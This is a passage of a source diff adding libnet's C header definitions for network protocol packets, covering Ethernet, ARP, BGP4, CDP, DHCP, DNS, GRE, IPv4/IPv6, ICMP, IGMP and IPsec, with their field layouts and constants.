bytes + */ +struct libnet_802_3_hdr +{ + u_int8_t _802_3_dhost[ETHER_ADDR_LEN];/* destination ethernet address */ + u_int8_t _802_3_shost[ETHER_ADDR_LEN];/* source ethernet address */ + u_int16_t _802_3_len; /* packet type ID */ +}; + + +/* + * ARP header + * Address Resolution Protocol + * Base header size: 8 bytes + */ +struct libnet_arp_hdr +{ + u_int16_t ar_hrd; /* format of hardware address */ +#define ARPHRD_NETROM 0 /* from KA9Q: NET/ROM pseudo */ +#define ARPHRD_ETHER 1 /* Ethernet 10Mbps */ +#define ARPHRD_EETHER 2 /* Experimental Ethernet */ +#define ARPHRD_AX25 3 /* AX.25 Level 2 */ +#define ARPHRD_PRONET 4 /* PROnet token ring */ +#define ARPHRD_CHAOS 5 /* Chaosnet */ +#define ARPHRD_IEEE802 6 /* IEEE 802.2 Ethernet/TR/TB */ +#define ARPHRD_ARCNET 7 /* ARCnet */ +#define ARPHRD_APPLETLK 8 /* APPLEtalk */ +#define ARPHRD_LANSTAR 9 /* Lanstar */ +#define ARPHRD_DLCI 15 /* Frame Relay DLCI */ +#define ARPHRD_ATM 19 /* ATM */ +#define ARPHRD_METRICOM 23 /* Metricom STRIP (new IANA id) */ +#define ARPHRD_IPSEC 31 /* IPsec tunnel */ + u_int16_t ar_pro; /* format of protocol address */ + u_int8_t ar_hln; /* length of hardware address */ + u_int8_t ar_pln; /* length of protocol addres */ + u_int16_t ar_op; /* operation type */ +#define ARPOP_REQUEST 1 /* req to resolve address */ +#define ARPOP_REPLY 2 /* resp to previous request */ +#define ARPOP_REVREQUEST 3 /* req protocol address given hardware */ +#define ARPOP_REVREPLY 4 /* resp giving protocol address */ +#define ARPOP_INVREQUEST 8 /* req to identify peer */ +#define ARPOP_INVREPLY 9 /* resp identifying peer */ + /* address information allocated dynamically */ +}; + +/* + * BGP4 header + * Border Gateway Protocol 4 + * Base header size : 19 bytes + */ +struct libnet_bgp4_header_hdr +{ +#define LIBNET_BGP4_MARKER_SIZE 16 + u_int8_t marker[LIBNET_BGP4_MARKER_SIZE]; + u_int16_t len; + u_int8_t type; +#define LIBNET_BGP4_OPEN 1 +#define LIBNET_BGP4_UPDATE 2 +#define LIBNET_BGP4_NOTIFICATION 3 +#define LIBNET_BGP4_KEEPALIVE 4 +}; + +/* + * BGP4 open header + * Border Gateway Protocol 4 + * Base header size : 10 bytes + */ +struct libnet_bgp4_open_hdr +{ + u_int8_t version; + u_int16_t src_as; + u_int16_t hold_time; + u_int32_t bgp_id; + u_int8_t opt_len; +}; + +/* + * BGP4 notification message + * + * Border Gateway Protocol 4 + * Base header size : 2 bytes + * + * Use payload if you need data + */ +struct libnet_bgp4_notification_hdr +{ +#define LIBNET_BGP4_MESSAGE_HEADER_ERROR 1 +#define LIBNET_BGP4_OPEN_MESSAGE_ERROR 2 +#define LIBNET_BGP4_UPDATE_MESSAGE_ERROR 3 +#define LIBNET_BGP4_HOLD_TIMER_EXPIRED 4 +#define LIBNET_BGP4_FINITE_STATE__ERROR 5 +#define LIBNET_BGP4_CEASE 6 + u_int8_t err_code; + +/* Message Header Error subcodes */ +#define LIBNET_BGP4_CONNECTION_NOT_SYNCHRONIZED 1 +#define LIBNET_BGP4_BAD_MESSAGE_LENGTH 2 +#define LIBNET_BGP4_BAD_MESSAGE_TYPE 3 +/* OPEN Message Error subcodes */ +#define LIBNET_BGP4_UNSUPPORTED_VERSION_NUMBER 1 +#define LIBNET_BGP4_BAD_PEER_AS 2 +#define LIBNET_BGP4_BAD_BGP_IDENTIFIER 3 +#define LIBNET_BGP4_UNSUPPORTED_OPTIONAL_PARAMETER 4 +#define LIBNET_BGP4_AUTHENTICATION_FAILURE 5 +#define LIBNET_BGP4_UNACCEPTABLE_HOLD_TIME 6 +/* UPDATE Message Error subcodes */ +#define LIBNET_BGP4_MALFORMED_ATTRIBUTE_LIST +#define LIBNET_BGP4_UNRECOGNIZED_WELL_KNOWN_ATTRIBUTE +#define LIBNET_BGP4_MISSING_WELL_KNOWN_ATTRIBUTE +#define LIBNET_BGP4_ATTRIBUTE_FLAGS_ERROR +#define LIBNET_BGP4_ATTRIBUTE_LENGTH_ERROR +#define LIBNET_BGP4_INVALID_ORIGIN_ATTRIBUTE +#define LIBNET_BGP4_AS_ROUTING_LOOP +#define LIBNET_BGP4_INVALID_NEXT_HOP_ATTRIBUTE +#define LIBNET_BGP4_OPTIONAL_ATTRIBUTE_ERROR +#define LIBNET_BGP4_INVALID_NETWORK_FIELD +#define LIBNET_BGP4_MALFORMED_AS_PATH + u_int8_t err_subcode; +}; + + + +/* + * CDP header + * Cisco Discovery Protocol + * Base header size: 8 bytes + */ + +/* + * For checksum stuff -- IANA says 135-254 is "unassigned" as of 12.2001. + * Let's hope this one stays that way for a while! + */ +#define LIBNET_PROTO_CDP 200 +struct libnet_cdp_hdr +{ + u_int8_t cdp_version; /* version (should always be 0x01) */ + u_int8_t cdp_ttl; /* time reciever should hold info in this packet */ + u_int16_t cdp_sum; /* checksum */ + u_int16_t cdp_type; /* type */ +#define LIBNET_CDP_DEVID 0x1 /* device id */ +#define LIBNET_CDP_ADDRESS 0x2 /* address */ +#define LIBNET_CDP_PORTID 0x3 /* port id */ +#define LIBNET_CDP_CAPABIL 0x4 /* capabilities */ +#define LIBNET_CDP_VERSION 0x5 /* version */ +#define LIBNET_CDP_PLATFORM 0x6 /* platform */ +#define LIBNET_CDP_IPPREFIX 0x7 /* ip prefix */ + u_int16_t cdp_len; /* type + length + value */ + /* value information done dynamically */ + +/* CDP capabilities */ +#define LIBNET_CDP_CAP_L3R 0x01/* performs level 3 routing */ +#define LIBNET_CDP_CAP_L2B 0x02/* performs level 2 transparent bridging */ +#define LIBNET_CDP_CAP_L2SRB 0x04/* performs level 2 sourceroute bridging */ +#define LIBNET_CDP_CAP_L2S 0x08/* performs level 2 switching */ +#define LIBNET_CDP_CAP_SR 0x10/* sends and recieves packets on a network */ +#define LIBNET_CDP_CAP_NOI 0x20/* does not forward IGMP on non-router ports */ +#define LIBNET_CDP_CAP_L1F 0x40/* provides level 1 functionality */ +}; + + +/* + * Used as an overlay for type/len/values + */ +struct libnet_cdp_value_hdr +{ + u_int16_t cdp_type; + u_int16_t cdp_len; +}; + + +/* + * DHCP header + * Dynamic Host Configuration Protocol + * Static header size: f0 bytes + */ +struct libnet_dhcpv4_hdr +{ + u_int8_t dhcp_opcode; /* opcode */ +#define LIBNET_DHCP_REQUEST 0x1 +#define LIBNET_DHCP_REPLY 0x2 + u_int8_t dhcp_htype; /* hardware address type */ + u_int8_t dhcp_hlen; /* hardware address length */ + u_int8_t dhcp_hopcount; /* used by proxy servers */ + u_int32_t dhcp_xid; /* transaction ID */ + u_int16_t dhcp_secs; /* number of seconds since trying to bootstrap */ + u_int16_t dhcp_flags; /* flags for DHCP, unused for BOOTP */ + u_int32_t dhcp_cip; /* client's IP */ + u_int32_t dhcp_yip; /* your IP */ + u_int32_t dhcp_sip; /* server's IP */ + u_int32_t dhcp_gip; /* gateway IP */ + u_int8_t dhcp_chaddr[16]; /* client hardware address */ + u_int8_t dhcp_sname[64]; /* server host name */ + u_int8_t dhcp_file[128]; /* boot file name */ + u_int32_t dhcp_magic; /* BOOTP magic header */ +#define DHCP_MAGIC 0x63825363 +#define LIBNET_BOOTP_MIN_LEN 0x12c +#define LIBNET_DHCP_PAD 0x00 +#define LIBNET_DHCP_SUBNETMASK 0x01 +#define LIBNET_DHCP_TIMEOFFSET 0x02 +#define LIBNET_DHCP_ROUTER 0x03 +#define LIBNET_DHCP_TIMESERVER 0x04 +#define LIBNET_DHCP_NAMESERVER 0x05 +#define LIBNET_DHCP_DNS 0x06 +#define LIBNET_DHCP_LOGSERV 0x07 +#define LIBNET_DHCP_COOKIESERV 0x08 +#define LIBNET_DHCP_LPRSERV 0x09 +#define LIBNET_DHCP_IMPSERV 0x0a +#define LIBNET_DHCP_RESSERV 0x0b +#define LIBNET_DHCP_HOSTNAME 0x0c +#define LIBNET_DHCP_BOOTFILESIZE 0x0d +#define LIBNET_DHCP_DUMPFILE 0x0e +#define LIBNET_DHCP_DOMAINNAME 0x0f +#define LIBNET_DHCP_SWAPSERV 0x10 +#define LIBNET_DHCP_ROOTPATH 0x11 +#define LIBNET_DHCP_EXTENPATH 0x12 +#define LIBNET_DHCP_IPFORWARD 0x13 +#define LIBNET_DHCP_SRCROUTE 0x14 +#define LIBNET_DHCP_POLICYFILTER 0x15 +#define LIBNET_DHCP_MAXASMSIZE 0x16 +#define LIBNET_DHCP_IPTTL 0x17 +#define LIBNET_DHCP_MTUTIMEOUT 0x18 +#define LIBNET_DHCP_MTUTABLE 0x19 +#define LIBNET_DHCP_MTUSIZE 0x1a +#define LIBNET_DHCP_LOCALSUBNETS 0x1b +#define LIBNET_DHCP_BROADCASTADDR 0x1c +#define LIBNET_DHCP_DOMASKDISCOV 0x1d +#define LIBNET_DHCP_MASKSUPPLY 0x1e +#define LIBNET_DHCP_DOROUTEDISC 0x1f +#define LIBNET_DHCP_ROUTERSOLICIT 0x20 +#define LIBNET_DHCP_STATICROUTE 0x21 +#define LIBNET_DHCP_TRAILERENCAP 0x22 +#define LIBNET_DHCP_ARPTIMEOUT 0x23 +#define LIBNET_DHCP_ETHERENCAP 0x24 +#define LIBNET_DHCP_TCPTTL 0x25 +#define LIBNET_DHCP_TCPKEEPALIVE 0x26 +#define LIBNET_DHCP_TCPALIVEGARBAGE 0x27 +#define LIBNET_DHCP_NISDOMAIN 0x28 +#define LIBNET_DHCP_NISSERVERS 0x29 +#define LIBNET_DHCP_NISTIMESERV 0x2a +#define LIBNET_DHCP_VENDSPECIFIC 0x2b +#define LIBNET_DHCP_NBNS 0x2c +#define LIBNET_DHCP_NBDD 0x2d +#define LIBNET_DHCP_NBTCPIP 0x2e +#define LIBNET_DHCP_NBTCPSCOPE 0x2f +#define LIBNET_DHCP_XFONT 0x30 +#define LIBNET_DHCP_XDISPLAYMGR 0x31 +#define LIBNET_DHCP_DISCOVERADDR 0x32 +#define LIBNET_DHCP_LEASETIME 0x33 +#define LIBNET_DHCP_OPTIONOVERLOAD 0x34 +#define LIBNET_DHCP_MESSAGETYPE 0x35 +#define LIBNET_DHCP_SERVIDENT 0x36 +#define LIBNET_DHCP_PARAMREQUEST 0x37 +#define LIBNET_DHCP_MESSAGE 0x38 +#define LIBNET_DHCP_MAXMSGSIZE 0x39 +#define LIBNET_DHCP_RENEWTIME 0x3a +#define LIBNET_DHCP_REBINDTIME 0x3b +#define LIBNET_DHCP_CLASSSID 0x3c +#define LIBNET_DHCP_CLIENTID 0x3d +#define LIBNET_DHCP_NISPLUSDOMAIN 0x40 +#define LIBNET_DHCP_NISPLUSSERVERS 0x41 +#define LIBNET_DHCP_MOBILEIPAGENT 0x44 +#define LIBNET_DHCP_SMTPSERVER 0x45 +#define LIBNET_DHCP_POP3SERVER 0x46 +#define LIBNET_DHCP_NNTPSERVER 0x47 +#define LIBNET_DHCP_WWWSERVER 0x48 +#define LIBNET_DHCP_FINGERSERVER 0x49 +#define LIBNET_DHCP_IRCSERVER 0x4a +#define LIBNET_DHCP_STSERVER 0x4b +#define LIBNET_DHCP_STDASERVER 0x4c +#define LIBNET_DHCP_END 0xff + +#define LIBNET_DHCP_MSGDISCOVER 0x01 +#define LIBNET_DHCP_MSGOFFER 0x02 +#define LIBNET_DHCP_MSGREQUEST 0x03 +#define LIBNET_DHCP_MSGDECLINE 0x04 +#define LIBNET_DHCP_MSGACK 0x05 +#define LIBNET_DHCP_MSGNACK 0x06 +#define LIBNET_DHCP_MSGRELEASE 0x07 +#define LIBNET_DHCP_MSGINFORM 0x08 +}; + + +/* + * Base DNSv4 header + * Domain Name System + * Base header size: 12/14 bytes + */ +struct libnet_dnsv4_hdr +{ + u_int16_t h_len; /* length of the packet - only used with TCP */ + u_int16_t id; /* DNS packet ID */ + u_int16_t flags; /* DNS flags */ + u_int16_t num_q; /* Number of questions */ + u_int16_t num_answ_rr; /* Number of answer resource records */ + u_int16_t num_auth_rr; /* Number of authority resource records */ + u_int16_t num_addi_rr; /* Number of additional resource records */ +}; + +#define LIBNET_DNS_H LIBNET_UDP_DNSV4_H +struct libnet_dnsv4udp_hdr +{ + u_int16_t id; /* DNS packet ID */ + u_int16_t flags; /* DNS flags */ + u_int16_t num_q; /* Number of questions */ + u_int16_t num_answ_rr; /* Number of answer resource records */ + u_int16_t num_auth_rr; /* Number of authority resource records */ + u_int16_t num_addi_rr; /* Number of additional resource records */ +}; + +/* + * Ethernet II header + * Static header size: 14 bytes + */ +struct libnet_ethernet_hdr +{ + u_int8_t ether_dhost[ETHER_ADDR_LEN];/* destination ethernet address */ + u_int8_t ether_shost[ETHER_ADDR_LEN];/* source ethernet address */ + u_int16_t ether_type; /* protocol */ +}; + +#ifndef ETHERTYPE_PUP +#define ETHERTYPE_PUP 0x0200 /* PUP protocol */ +#endif +#ifndef ETHERTYPE_IP +#define ETHERTYPE_IP 0x0800 /* IP protocol */ +#endif +#ifndef ETHERTYPE_ARP +#define ETHERTYPE_ARP 0x0806 /* addr. resolution protocol */ +#endif +#ifndef ETHERTYPE_REVARP +#define ETHERTYPE_REVARP 0x8035 /* reverse addr. resolution protocol */ +#endif +#ifndef ETHERTYPE_VLAN +#define ETHERTYPE_VLAN 0x8100 /* IEEE 802.1Q VLAN tagging */ +#endif +#ifndef ETHERTYPE_EAP +#define ETHERTYPE_EAP 0x888e /* IEEE 802.1X EAP authentication */ +#endif +#ifndef ETHERTYPE_MPLS +#define ETHERTYPE_MPLS 0x8847 /* MPLS */ +#endif +#ifndef ETHERTYPE_LOOPBACK +#define ETHERTYPE_LOOPBACK 0x9000 /* used to test interfaces */ +#endif + +struct libnet_ether_addr +{ + u_int8_t ether_addr_octet[6]; /* Ethernet address */ +}; + +/* + * Fiber Distributed Data Interface header + * + * Static header size: 21 bytes (LLC and 48-bit address addr only) + * + * Note: Organization field is 3 bytes which throws off the + * alignment of type. Therefore fddi_type (19 bytes in) + * is specified as two u_int8_ts. + */ +struct libnet_fddi_hdr +{ + u_int8_t fddi_frame_control; /* Class/Format/Priority */ +#define LIBNET_FDDI_LLC_FRAME 0x10 +#define LIBNET_FDDI_48BIT_ADDR 0x40 +#define LIBNET_FDDI_FC_REQD LIBNET_FDDI_LLC_FRAME | LIBNET_FDDI_48BIT_ADDR + u_int8_t fddi_dhost[FDDI_ADDR_LEN]; /* destination fddi address */ + u_int8_t fddi_shost[FDDI_ADDR_LEN]; /* source fddi address */ + u_int8_t fddi_llc_dsap; /* DSAP */ + u_int8_t fddi_llc_ssap; /* SSAP */ + u_int8_t fddi_llc_control_field; /* Class/Format/Priority */ + u_int8_t fddi_llc_org_code[LIBNET_ORG_CODE_SIZE]; /* Organization Code 3-bytes */ + u_int8_t fddi_type; /* Protocol Type */ + u_int8_t fddi_type1; /* see note above. */ +#define FDDI_TYPE_IP 0x0800 /* IP protocol */ +#define FDDI_TYPE_ARP 0x0806 /* addr. resolution protocol */ +#define FDDI_TYPE_REVARP 0x8035 /* reverse addr. resolution protocol */ +}; + + +struct libnet_fddi_addr +{ + u_int8_t fddi_addr_octet[6]; /* FDDI address */ +}; + + +/* + * GRE header - RFC 1701 & 2637 + * Generic Routing Encapsulation (GRE) + * Base header size: 4 bytes + */ +struct libnet_gre_hdr +{ + u_int16_t flags_ver; +#define GRE_CSUM 0x8000 +#define GRE_ROUTING 0x4000 +#define GRE_KEY 0x2000 +#define GRE_SEQ 0x1000 +#define GRE_STRICT 0x0800 +#define GRE_REC 0x0700 +#define GRE_ACK 0x0080 + +#define GRE_FLAGS_MASK 0x00F8 +#define GRE_VERSION_MASK 0x0007 + +#define GRE_VERSION_0 0x0000 +#define GRE_VERSION_1 0x0001 + + u_int16_t type; +#define GRE_SNA 0x0004 +#define GRE_OSI_NETWORK_LAYER 0x00FE +#define GRE_PUP 0x0200 +#define GRE_XNS 0x0600 +#define GRE_IP 0x0800 +#define GRE_CHAOS 0x0804 +#define GRE_RFC_826_ARP 0x0806 +#define GRE_FRAME_RELAY_ARP 0x0808 +#define GRE_VINES 0x0BAD +#define GRE_VINES_ECHO 0x0BAE +#define GRE_VINES_LOOPBACK 0x0BAF +#define GRE_DECNET 0x6003 +#define GRE_TRANSPARENT_ETHERNET_BRIDGING 0x6558 +#define GRE_RAW_FRAME_RELAY 0x6559 +#define GRE_APOLLO_DOMAIN 0x8019 +#define GRE_ETHERTALK 0x809B +#define GRE_NOVELL_IPX 0x8137 +#define GRE_RFC_1144_TCP_IP_COMPRESSION 0x876B +#define GRE_IP_AUTONOMOUS_SYSTEMS 0x876C +#define GRE_SECURE_DATA 0x876D +#define GRE_PPP 0x880b /* taken from RFC 2637 */ + + union { + struct { + u_int16_t sum; /* optional */ + u_int16_t offset; /* optional */ + u_int32_t key; /* optional */ + u_int32_t seq; /* optional */ + } _gre; + + struct { + u_int16_t payload_s; /* optional */ + u_int16_t callID; /* optional */ + u_int32_t seq; /* optional */ + u_int32_t ack; /* optional */ + } _egre; + }_data; + +#define gre_sum _data._gre.sum +#define gre_offset _data._gre.offset +#define gre_key _data._gre.key +#define gre_seq _data._gre.seq + +#define egre_payload_s _data._egre.payload_s +#define egre_callID _data._egre.callID +#define egre_seq _data._egre.seq +#define egre_ack _data._egre.ack +}; + + +#ifndef IPPROTO_GRE +#define IPPROTO_GRE 47 +#endif + +/* + * Source Route Entries (SRE) + * This is used for GRE as the Routing field is a list of SREs - RFC 1701 + * Base header size: 4 bytes + */ +struct libnet_gre_sre_hdr +{ + u_int16_t af; /* address familly */ + u_int8_t sre_offset; + u_int8_t sre_length; + u_int8_t *routing; +}; + + +/* + * IPv4 header + * Internet Protocol, version 4 + * Static header size: 20 bytes + */ +struct libnet_ipv4_hdr +{ +#if (LIBNET_LIL_ENDIAN) + u_int8_t ip_hl:4, /* header length */ + ip_v:4; /* version */ +#endif +#if (LIBNET_BIG_ENDIAN) + u_int8_t ip_v:4, /* version */ + ip_hl:4; /* header length */ +#endif + u_int8_t ip_tos; /* type of service */ +#ifndef IPTOS_LOWDELAY +#define IPTOS_LOWDELAY 0x10 +#endif +#ifndef IPTOS_THROUGHPUT +#define IPTOS_THROUGHPUT 0x08 +#endif +#ifndef IPTOS_RELIABILITY +#define IPTOS_RELIABILITY 0x04 +#endif +#ifndef IPTOS_LOWCOST +#define IPTOS_LOWCOST 0x02 +#endif + u_int16_t ip_len; /* total length */ + u_int16_t ip_id; /* identification */ + u_int16_t ip_off; +#ifndef IP_RF +#define IP_RF 0x8000 /* reserved fragment flag */ +#endif +#ifndef IP_DF +#define IP_DF 0x4000 /* dont fragment flag */ +#endif +#ifndef IP_MF +#define IP_MF 0x2000 /* more fragments flag */ +#endif +#ifndef IP_OFFMASK +#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ +#endif + u_int8_t ip_ttl; /* time to live */ + u_int8_t ip_p; /* protocol */ + u_int16_t ip_sum; /* checksum */ + struct in_addr ip_src, ip_dst; /* source and dest address */ +}; + +/* + * IP options + */ +#ifndef IPOPT_EOL +#define IPOPT_EOL 0 /* end of option list */ +#endif +#ifndef IPOPT_NOP +#define IPOPT_NOP 1 /* no operation */ +#endif +#ifndef IPOPT_RR +#define IPOPT_RR 7 /* record packet route */ +#endif +#ifndef IPOPT_TS +#define IPOPT_TS 68 /* timestamp */ +#endif +#ifndef IPOPT_SECURITY +#define IPOPT_SECURITY 130 /* provide s,c,h,tcc */ +#endif +#ifndef IPOPT_LSRR +#define IPOPT_LSRR 131 /* loose source route */ +#endif +#ifndef IPOPT_SATID +#define IPOPT_SATID 136 /* satnet id */ +#endif +#ifndef IPOPT_SSRR +#define IPOPT_SSRR 137 /* strict source route */ +#endif + +struct libnet_in6_addr +{ + union + { + u_int8_t __u6_addr8[16]; + u_int16_t __u6_addr16[8]; + u_int32_t __u6_addr32[4]; + } __u6_addr; /* 128-bit IP6 address */ +}; +#define libnet_s6_addr __u6_addr.__u6_addr8 + +/* + * IPv6 header + * Internet Protocol, version 6 + * Static header size: 40 bytes + */ +struct libnet_ipv6_hdr +{ + u_int8_t ip_flags[4]; /* version, traffic class, flow label */ + u_int16_t ip_len; /* total length */ + u_int8_t ip_nh; /* next header */ + u_int8_t ip_hl; /* hop limit */ + struct libnet_in6_addr ip_src, ip_dst; /* source and dest address */ + +}; + +/* + * IPv6 frag header + * Internet Protocol, version 6 + * Static header size: 8 bytes + */ +#define LIBNET_IPV6_NH_FRAGMENT 44 +struct libnet_ipv6_frag_hdr +{ + u_int8_t ip_nh; /* next header */ + u_int8_t ip_reserved; /* reserved */ + u_int16_t ip_frag; /* fragmentation stuff */ + u_int32_t ip_id; /* id */ +}; + +/* + * IPv6 routing header + * Internet Protocol, version 6 + * Base header size: 4 bytes + */ +#define LIBNET_IPV6_NH_ROUTING 43 +struct libnet_ipv6_routing_hdr +{ + u_int8_t ip_nh; /* next header */ + u_int8_t ip_len; /* length of header in 8 octet units (sans 1st) */ + u_int8_t ip_rtype; /* routing type */ + u_int8_t ip_segments; /* segments left */ + /* routing information allocated dynamically */ +}; + +/* + * IPv6 destination options header + * Internet Protocol, version 6 + * Base header size: 2 bytes + */ +#define LIBNET_IPV6_NH_DESTOPTS 60 +struct libnet_ipv6_destopts_hdr +{ + u_int8_t ip_nh; /* next header */ + u_int8_t ip_len; /* length of header in 8 octet units (sans 1st) */ + /* destination options information allocated dynamically */ +}; + +/* + * IPv6 hop by hop options header + * Internet Protocol, version 6 + * Base header size: 2 bytes + */ +#define LIBNET_IPV6_NH_HBH 0 +struct libnet_ipv6_hbhopts_hdr +{ + u_int8_t ip_nh; /* next header */ + u_int8_t ip_len; /* length of header in 8 octet units (sans 1st) */ + /* destination options information allocated dynamically */ +}; + +/* + * ICMP6 header + * Internet Control Message Protocol v6 + * Base header size: 8 bytes + */ +#ifndef IPPROTO_ICMP6 +#define IPPROTO_ICMP6 0x3a +#endif +struct libnet_icmpv6_hdr +{ + u_int8_t icmp_type; /* ICMP type */ +#ifndef ICMP6_ECHO +#define ICMP6_ECHO 128 +#endif +#ifndef ICMP6_ECHOREPLY +#define ICMP6_ECHOREPLY 129 +#endif +#ifndef ICMP6_UNREACH +#define ICMP6_UNREACH 1 +#endif +#ifndef ICMP6_PKTTOOBIG +#define ICMP6_PKTTOOBIG 2 +#endif +#ifndef ICMP6_TIMXCEED +#define ICMP6_TIMXCEED 3 +#endif +#ifndef ICMP6_PARAMPROB +#define ICMP6_PARAMPROB 4 +#endif + u_int8_t icmp_code; /* ICMP code */ + u_int16_t icmp_sum; /* ICMP Checksum */ + u_int16_t id; /* ICMP id */ + u_int16_t seq; /* ICMP sequence number */ +}; + + + +/* + * ICMP header + * Internet Control Message Protocol + * Base header size: 4 bytes + */ +struct libnet_icmpv4_hdr +{ + u_int8_t icmp_type; /* ICMP type */ +#ifndef ICMP_ECHOREPLY +#define ICMP_ECHOREPLY 0 +#endif +#ifndef ICMP_UNREACH +#define ICMP_UNREACH 3 +#endif +#ifndef ICMP_SOURCEQUENCH +#define ICMP_SOURCEQUENCH 4 +#endif +#ifndef ICMP_REDIRECT +#define ICMP_REDIRECT 5 +#endif +#ifndef ICMP_ECHO +#define ICMP_ECHO 8 +#endif +#ifndef ICMP_ROUTERADVERT +#define ICMP_ROUTERADVERT 9 +#endif +#ifndef ICMP_ROUTERSOLICIT +#define ICMP_ROUTERSOLICIT 10 +#endif +#ifndef ICMP_TIMXCEED +#define ICMP_TIMXCEED 11 +#endif +#ifndef ICMP_PARAMPROB +#define ICMP_PARAMPROB 12 +#endif +#ifndef ICMP_TSTAMP +#define ICMP_TSTAMP 13 +#endif +#ifndef ICMP_TSTAMPREPLY +#define ICMP_TSTAMPREPLY 14 +#endif +#ifndef ICMP_IREQ +#define ICMP_IREQ 15 +#endif +#ifndef ICMP_IREQREPLY +#define ICMP_IREQREPLY 16 +#endif +#ifndef ICMP_MASKREQ +#define ICMP_MASKREQ 17 +#endif +#ifndef ICMP_MASKREPLY +#define ICMP_MASKREPLY 18 +#endif + u_int8_t icmp_code; /* ICMP code */ +#ifndef ICMP_UNREACH_NET +#define ICMP_UNREACH_NET 0 +#endif +#ifndef ICMP_UNREACH_HOST +#define ICMP_UNREACH_HOST 1 +#endif +#ifndef ICMP_UNREACH_PROTOCOL +#define ICMP_UNREACH_PROTOCOL 2 +#endif +#ifndef ICMP_UNREACH_PORT +#define ICMP_UNREACH_PORT 3 +#endif +#ifndef ICMP_UNREACH_NEEDFRAG +#define ICMP_UNREACH_NEEDFRAG 4 +#endif +#ifndef ICMP_UNREACH_SRCFAIL +#define ICMP_UNREACH_SRCFAIL 5 +#endif +#ifndef ICMP_UNREACH_NET_UNKNOWN +#define ICMP_UNREACH_NET_UNKNOWN 6 +#endif +#ifndef ICMP_UNREACH_HOST_UNKNOWN +#define ICMP_UNREACH_HOST_UNKNOWN 7 +#endif +#ifndef ICMP_UNREACH_ISOLATED +#define ICMP_UNREACH_ISOLATED 8 +#endif +#ifndef ICMP_UNREACH_NET_PROHIB +#define ICMP_UNREACH_NET_PROHIB 9 +#endif +#ifndef ICMP_UNREACH_HOST_PROHIB +#define ICMP_UNREACH_HOST_PROHIB 10 +#endif +#ifndef ICMP_UNREACH_TOSNET +#define ICMP_UNREACH_TOSNET 11 +#endif +#ifndef ICMP_UNREACH_TOSHOST +#define ICMP_UNREACH_TOSHOST 12 +#endif +#ifndef ICMP_UNREACH_FILTER_PROHIB +#define ICMP_UNREACH_FILTER_PROHIB 13 +#endif +#ifndef ICMP_UNREACH_HOST_PRECEDENCE +#define ICMP_UNREACH_HOST_PRECEDENCE 14 +#endif +#ifndef ICMP_UNREACH_PRECEDENCE_CUTOFF +#define ICMP_UNREACH_PRECEDENCE_CUTOFF 15 +#endif +#ifndef ICMP_REDIRECT_NET +#define ICMP_REDIRECT_NET 0 +#endif +#ifndef ICMP_REDIRECT_HOST +#define ICMP_REDIRECT_HOST 1 +#endif +#ifndef ICMP_REDIRECT_TOSNET +#define ICMP_REDIRECT_TOSNET 2 +#endif +#ifndef ICMP_REDIRECT_TOSHOST +#define ICMP_REDIRECT_TOSHOST 3 +#endif +#ifndef ICMP_TIMXCEED_INTRANS +#define ICMP_TIMXCEED_INTRANS 0 +#endif +#ifndef ICMP_TIMXCEED_REASS +#define ICMP_TIMXCEED_REASS 1 +#endif +#ifndef ICMP_PARAMPROB_OPTABSENT +#define ICMP_PARAMPROB_OPTABSENT 1 +#endif + + u_int16_t icmp_sum; /* ICMP Checksum */ + + union + { + struct + { + u_int16_t id; /* ICMP id */ + u_int16_t seq;/* ICMP sequence number */ + } echo; + +#undef icmp_id +#undef icmp_seq +#define icmp_id hun.echo.id +#define icmp_seq hun.echo.seq + + u_int32_t gateway; /* gateway host */ + struct + { + u_int16_t pad;/* padding */ + u_int16_t mtu;/* MTU size */ + } frag; + } hun; + union + { + struct + { + n_time its_otime; + n_time its_rtime; + n_time its_ttime; + } ts; + struct + { + struct libnet_ipv4_hdr idi_ip; + /* options and then 64 bits of data */ + } ip; + u_int32_t mask; + int8_t data[1]; + +#undef icmp_mask +#define icmp_mask dun.mask +#undef icmp_data +#define icmp_data dun.data + +#undef icmp_otime +#define icmp_otime dun.ts.its_otime +#undef icmp_rtime +#define icmp_rtime dun.ts.its_rtime +#undef icmp_ttime +#define icmp_ttime dun.ts.its_ttime + }dun; +}; + + +/* + * IGMP header + * Internet Group Message Protocol + * Static header size: 8 bytes + */ +struct libnet_igmp_hdr +{ + u_int8_t igmp_type; /* IGMP type */ +#ifndef IGMP_MEMBERSHIP_QUERY +#define IGMP_MEMBERSHIP_QUERY 0x11 /* membership query */ +#endif +#ifndef IGMP_V1_MEMBERSHIP_REPORT +#define IGMP_V1_MEMBERSHIP_REPORT 0x12 /* Ver. 1 membership report */ +#endif +#ifndef IGMP_V2_MEMBERSHIP_REPORT +#define IGMP_V2_MEMBERSHIP_REPORT 0x16 /* Ver. 2 membership report */ +#endif +#ifndef IGMP_LEAVE_GROUP +#define IGMP_LEAVE_GROUP 0x17 /* Leave-group message */ +#endif + u_int8_t igmp_code; /* IGMP code */ + u_int16_t igmp_sum; /* IGMP checksum */ + struct in_addr igmp_group;/* IGMP host IP */ +}; + + +/* + * IPSEC header + * Internet Protocol Security Protocol + * Encapsulating Security Payload Header Static header size: 12 bytes + * Encapsulating Security Payload Footer Base header size: 2 bytes + * Authentication Header Static Size: 16 bytes + */ +#ifndef IPPROTO_ESP +#define IPPROTO_ESP 50 /* not everyone's got this */ +#endif +struct libnet_esp_hdr +{ + u_int32_t esp_spi; /* security parameter index */ + u_int32_t esp_seq; /* ESP sequence number */ + u_int32_t esp_iv; /* initialization vector */ +}; + +struct libnet_esp_ftr +{ + u_int8_t esp_pad_len; /* padding length */ + u_int8_t esp_nh; /* next header pointer */ + int8_t *esp_auth; /* authentication data */ +}; + +#ifndef IPPROTO_AH +#define IPPROTO_AH 51 /* not everyone's got this */ +#endif +struct libnet_ah_hdr +{ + u_int8_t ah_nh; /* next header */ + u_int8_t ah_len; /* payload length */ + u_int16_t ah_res; /* reserved */ + u_int32_t ah_spi; /* security parameter index */ + u_int32_t ah_seq; /* AH sequence number */ + u_int32_t ah_auth; /* authentication data */ +}; + + +/* + * ISL header + * Cisco Inter-Switch Link + * Static header size: 26 bytes + */ +/* + * For checksum stuff -- IANA says 135-254 is "unassigned" as of 12.2001. + * Let's hope this one stays that way for a while! + */ +#define LIBNET_PROTO_ISL 201 +struct libnet_isl_hdr +{ + u_int8_t isl_dhost[5]; /* destination address "01:00:0c:00:00" */ +#if (LIBNET_LIL_ENDIAN) + u_int8_t isl_type:4, /* type of frame */ + isl_user:4; /* user defined bits */ +#endif +#if (LIBNET_BIG_ENDIAN) + u_int8_t 